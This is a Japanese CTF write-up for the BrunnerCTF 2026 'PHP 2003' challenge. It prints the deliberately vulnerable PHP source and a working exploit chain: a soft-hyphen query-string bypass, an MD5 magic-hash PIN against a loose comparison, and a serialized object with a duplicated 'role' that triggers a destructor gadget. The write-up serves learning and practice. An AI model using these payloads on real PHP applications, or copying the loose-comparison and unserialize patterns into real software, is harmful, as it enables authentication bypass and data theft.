BrunnerCTF 2026

7 min readCTF#Insecure Deserialization#Magic Hash#PHP Object Injection

PHP 2003

index.php
<?php
declare(strict_types=1);

const ACCESS_CODE_HASH = '0e769468064680399918991535722650';

final class Voucher
{
    public function __toString(): string
    {
        return getenv('WEBHOTEL_LICENSE_KEY') ?: 'brunner{REDACTED}';
    }
}

final class Receipt
{
    public bool $flushOnShutdown = false;
    public mixed $voucher = null;

    public function __destruct()
    {
        if ($this->flushOnShutdown && $this->voucher instanceof Voucher) {
            $flag = htmlspecialchars((string) $this->voucher, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
            echo '<div class="result flag">' . $flag . '</div>';
        }
    }
}

final class Booking
{
    public string $user = '';
    public string $role = 'guest';
    public mixed $receipt = null;
}

function legacy_cgi_request(): bool
{
    $raw = $_SERVER['QUERY_STRING'] ?? '';
    $decoded = urldecode($raw);

    if (str_contains($decoded, '-')) {
        return false;
    }

    $normalized = str_replace("\u{00AD}", '-', $decoded);
    return trim($normalized) === '-d webhotel.legacy=1';
}

function first_serialized_string(string $serialized, string $property): ?string
{
    $name = preg_quote($property, '/');
    $pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';

    if (!preg_match($pattern, $serialized, $match)) {
        return null;
    }

    return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}

$message = '';
$messageClass = 'error';
$destroyBooking = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $staffPin = (string) ($_POST['staff_pin'] ?? '');
    $encodedReservation = (string) ($_POST['reservation_export'] ?? '');
    $reservation = base64_decode($encodedReservation, true);

    if (!legacy_cgi_request()) {
        $message = 'The reservation service is unavailable.';
    } elseif (md5($staffPin) != ACCESS_CODE_HASH) {
        $message = 'Recovery code rejected.';
    } elseif ($reservation === false) {
        $message = 'Reservation export rejected.';
    } elseif (first_serialized_string($reservation, 'role') !== 'guest') {
        $message = 'Only customer reservations can be imported.';
    } else {
        $booking = @unserialize($reservation, [
            'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
        ]);

        if (!$booking instanceof Booking) {
            $message = 'Reservation export could not be read.';
        } elseif ($booking->role !== 'admin') {
            $message = 'A staff reservation is required.';
        } elseif (!$booking->receipt instanceof Receipt) {
            $message = 'Receipt missing from reservation export.';
        } else {
            $booking->receipt->flushOnShutdown = true;
            $destroyBooking = $booking;
            $message = 'Reservation imported.';
            $messageClass = 'ok';
        }
    }
}
?>

ソースコード解析

この問題では、主に次の3つの挙動を組み合わせて認証を突破し、Receipt::__destruct() から flag を出力します。

  1. ソフトハイフンを利用した legacy_cgi_request() のチェック回避
  2. PHP の緩い比較を利用した MD5 magic hash
  3. serialize 文字列内で role を二重定義し、事前チェックと unserialize() 後の値を食い違わせる

1. legacy_cgi_request() を通す

function legacy_cgi_request(): bool
{
    $raw = $_SERVER['QUERY_STRING'] ?? '';
    $decoded = urldecode($raw);

    if (str_contains($decoded, '-')) {
        return false;
    }

    $normalized = str_replace("\u{00AD}", '-', $decoded);
    return trim($normalized) === '-d webhotel.legacy=1';
}

QUERY_STRING を URL デコードした時点で通常のハイフン - が含まれていると false になります。

一方、U+00AD の SOFT HYPHEN(ソフトハイフン) は最初のチェックでは - と一致しません。その後の str_replace() でソフトハイフンが通常の - に置換されるため、最終的に次の文字列へ正規化できます。

-d webhotel.legacy=1

そのため、クエリには UTF-8 のソフトハイフン C2 AD を URL エンコードした %C2%AD を使用します。

POST /index.php?%C2%ADd%20webhotel.legacy%3D1

2. MD5 magic hash で staff_pin のチェックを突破する

const ACCESS_CODE_HASH = '0e769468064680399918991535722650';

elseif (md5($staffPin) != ACCESS_CODE_HASH) {
    $message = 'Recovery code rejected.';
}

ここでは厳密比較の !== ではなく、型変換を伴う緩い比較 != が使われています。

ACCESS_CODE_HASH は 0e に続いて数字だけが並ぶ文字列です。このような文字列は数値比較時に指数表記として解釈され、数値の 0 として扱われます。

同様に MD5 が 0e + 数字のみになる入力を与えれば、異なるハッシュ文字列でも数値比較では 0 == 0 となり、チェックを突破できます。

240610708 の MD5 は次の値になります。

0e462097431906509019562988736854

したがって、次の値を送信します。

staff_pin=240610708

3. role の事前チェックと unserialize() 後の値を食い違わせる

reservation_export は Base64 デコードされた後、まず first_serialized_string() で role が guest か確認されます。

function first_serialized_string(string $serialized, string $property): ?string
{
    $name = preg_quote($property, '/');
    $pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';

    if (!preg_match($pattern, $serialized, $match)) {
        return null;
    }

    return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}

この正規表現は serialize 文字列内で最初に現れる role を取得します。そのため、最初の role を guest にすれば事前チェックを通過できます。

その後、unserialize() された Booking オブジェクトでは role が admin である必要があります。

$booking = @unserialize($reservation, [
    'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
]);

if (!$booking instanceof Booking) {
    // ...
} elseif ($booking->role !== 'admin') {
    // ...
}

そこで serialize 文字列中に同じ public プロパティ role を2回入れます。

  • 1つ目: role = guest → 正規表現による事前チェック用
  • 2つ目: role = admin → unserialize() 後のチェック用

この環境では後から復元された同名プロパティの値が残るため、事前チェックでは guest、復元後は admin という状態を作れます。

4. Receipt と Voucher を組み込む

最終的に必要な serialize 文字列は次のようになります。

O:7:"Booking":4:{s:4:"user";s:0:"";s:4:"role";s:5:"guest";s:4:"role";s:5:"admin";s:7:"receipt";O:7:"Receipt":2:{s:15:"flushOnShutdown";b:0;s:7:"voucher";O:7:"Voucher":0:{}}}

構造を分解すると以下の通りです。

O:7:"Booking":4:{
    s:4:"user";s:0:"";
    s:4:"role";s:5:"guest";
    s:4:"role";s:5:"admin";
    s:7:"receipt";O:7:"Receipt":2:{
        s:15:"flushOnShutdown";b:0;
        s:7:"voucher";O:7:"Voucher":0:{}
    }
}

O は object、s は string、b は boolean を表します。

Booking の receipt には Receipt オブジェクトを入れ、さらに Receipt::$voucher には Voucher オブジェクトを入れておきます。

初期状態の flushOnShutdown は false ですが、すべての検証を通過するとアプリケーション側で true に変更されます。

$booking->receipt->flushOnShutdown = true;
$destroyBooking = $booking;

5. __destruct() から flag を表示する

public function __destruct()
{
    if ($this->flushOnShutdown && $this->voucher instanceof Voucher) {
        $flag = htmlspecialchars((string) $this->voucher, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
        echo '<div class="result flag">' . $flag . '</div>';
    }
}

リクエスト処理の終了時に Receipt::__destruct() が実行されます。

この時、

  • flushOnShutdown === true
  • voucher instanceof Voucher

の2条件を満たしているため、Voucher が文字列化されます。

public function __toString(): string
{
    return getenv('WEBHOTEL_LICENSE_KEY') ?: 'brunner{REDACTED}';
}

Voucher::__toString() は環境変数 WEBHOTEL_LICENSE_KEY を返すため、最終的に flag がレスポンスへ出力されます。

Exploit の流れ

  1. クエリに %C2%ADd%20webhotel.legacy%3D1 を指定します。
  2. staff_pin=240610708 を指定して MD5 magic hash を利用します。
  3. guest と admin の2つの role を含む serialize 文字列を作成します。
  4. Receipt の voucher に Voucher オブジェクトを入れます。
  5. serialize 文字列を Base64 エンコードして reservation_export として送信します。
  6. インポート成功後、flushOnShutdown が true に変更され、リクエスト終了時のデストラクタで flag が表示されます。